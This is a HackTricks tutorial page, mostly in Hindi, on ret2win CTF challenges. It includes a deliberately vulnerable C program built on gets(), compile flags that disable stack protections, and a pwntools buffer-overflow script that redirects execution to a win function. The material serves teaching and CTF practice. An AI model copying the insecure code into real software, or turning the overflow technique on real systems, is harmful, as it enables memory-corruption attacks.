Ret2win
Reading time: 7 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
Ret2win चुनौतियाँ Capture The Flag (CTF) प्रतियोगिताओं में एक लोकप्रिय श्रेणी हैं, विशेष रूप से उन कार्यों में जो binary exploitation से संबंधित हैं। लक्ष्य एक दिए गए बाइनरी में एक कमजोरियों का लाभ उठाना है ताकि बाइनरी के भीतर एक विशिष्ट, अनावृत्त कार्य को निष्पादित किया जा सके, जिसे अक्सर win
, flag
, आदि जैसे नामों से जाना जाता है। जब इस कार्य को निष्पादित किया जाता है, तो यह आमतौर पर एक ध्वज या सफलता संदेश प्रिंट करता है। चुनौती आमतौर पर स्टैक पर return address को ओवरराइट करने में शामिल होती है ताकि निष्पादन प्रवाह को इच्छित कार्य की ओर मोड़ा जा सके। यहाँ एक अधिक विस्तृत व्याख्या है उदाहरणों के साथ:
C Example
Consider a simple C program with a vulnerability and a win
function that we intend to call:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
इस प्रोग्राम को स्टैक सुरक्षा के बिना और ASLR को निष्क्रिय करके संकलित करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: प्रोग्राम को 32-बिट बाइनरी के रूप में संकलित करें (यह वैकल्पिक है लेकिन CTF चुनौतियों में सामान्य है)।-fno-stack-protector
: स्टैक ओवरफ्लो के खिलाफ सुरक्षा को अक्षम करें।-z execstack
: स्टैक पर कोड के निष्पादन की अनुमति दें।-no-pie
: पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल को अक्षम करें ताकिwin
फ़ंक्शन का पता न बदले।-o vulnerable
: आउटपुट फ़ाइल का नामvulnerable
रखें।
Python Exploit using Pwntools
हम एक्सप्लॉइट के लिए pwntools का उपयोग करेंगे, जो एक्सप्लॉइट लिखने के लिए एक शक्तिशाली CTF ढांचा है। एक्सप्लॉइट स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगा और रिटर्न एड्रेस को win
फ़ंक्शन के पते से ओवरराइट करेगा।
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
win
फ़ंक्शन का पता लगाने के लिए, आप gdb, objdump, या किसी अन्य उपकरण का उपयोग कर सकते हैं जो आपको बाइनरी फ़ाइलों का निरीक्षण करने की अनुमति देता है। उदाहरण के लिए, objdump
के साथ, आप उपयोग कर सकते हैं:
objdump -d vulnerable | grep win
यह कमांड आपको win
फ़ंक्शन का असेंबली दिखाएगा, जिसमें इसका प्रारंभिक पता शामिल है।
Python स्क्रिप्ट एक सावधानीपूर्वक तैयार किया गया संदेश भेजती है जो, जब vulnerable_function
द्वारा संसाधित किया जाता है, तो बफर को ओवरफ्लो करता है और स्टैक पर रिटर्न पते को win
के पते से ओवरराइट करता है। जब vulnerable_function
लौटता है, तो यह main
पर लौटने या बाहर निकलने के बजाय win
पर कूदता है, और संदेश प्रिंट होता है।
सुरक्षा
- PIE को बंद किया जाना चाहिए ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि
win
फ़ंक्शन कहाँ लोड है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शनread
या समान होता है, तो आप रिटर्न पते कोwin
फ़ंक्शन में बदलने के लिए 1 या 2 बाइट का आंशिक ओवरराइट कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पता प्राप्त करने का 1/16 मौका (1 निबल) होता है। - स्टैक कैनरीज़ को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा।
अन्य उदाहरण और संदर्भ
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32bit, कोई ASLR नहीं
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 बिट्स ASLR के साथ, बिन पते का लीक
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 बिट्स, कोई ASLR नहीं
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 बिट्स, कोई ASLR नहीं, डबल स्मॉल ओवरफ्लो, पहले स्टैक को ओवरफ्लो करना और दूसरे ओवरफ्लो के आकार को बढ़ाना
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 बिट, relro, कोई कैनरी नहीं, nx, कोई pie नहीं,
fflush
के पते कोwin
फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए फॉर्मेट स्ट्रिंग - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 बिट, nx, कुछ और नहीं,
win
फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte) - https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 बिट, nx, कुछ और नहीं,
win
फ़ंक्शन को कॉल करने के लिए EIP का आंशिक ओवरराइट (1Byte) - https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- प्रोग्राम केवल एक संख्या के अंतिम बाइट को इनपुट के आकार की जांच के लिए मान्य कर रहा है, इसलिए यह संभव है कि अंतिम बाइट अनुमत सीमा के भीतर हो। फिर, इनपुट एक बफर ओवरफ्लो उत्पन्न करता है जिसे
ret2win
के साथ शोषण किया गया है। - https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 बिट, relro, कोई कैनरी नहीं, nx, pie।
win
फ़ंक्शन (ret2win) को कॉल करने के लिए आंशिक ओवरराइट - https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, यह एक PIE लीक देता है
win
फ़ंक्शन वास्तव में 2 फ़ंक्शन हैं इसलिए ROP गैजेट जो 2 फ़ंक्शन को कॉल करता है - https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, ऑफ-बाय-वन
win
फ़ंक्शन को कॉल करने के लिए
ARM64 उदाहरण
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।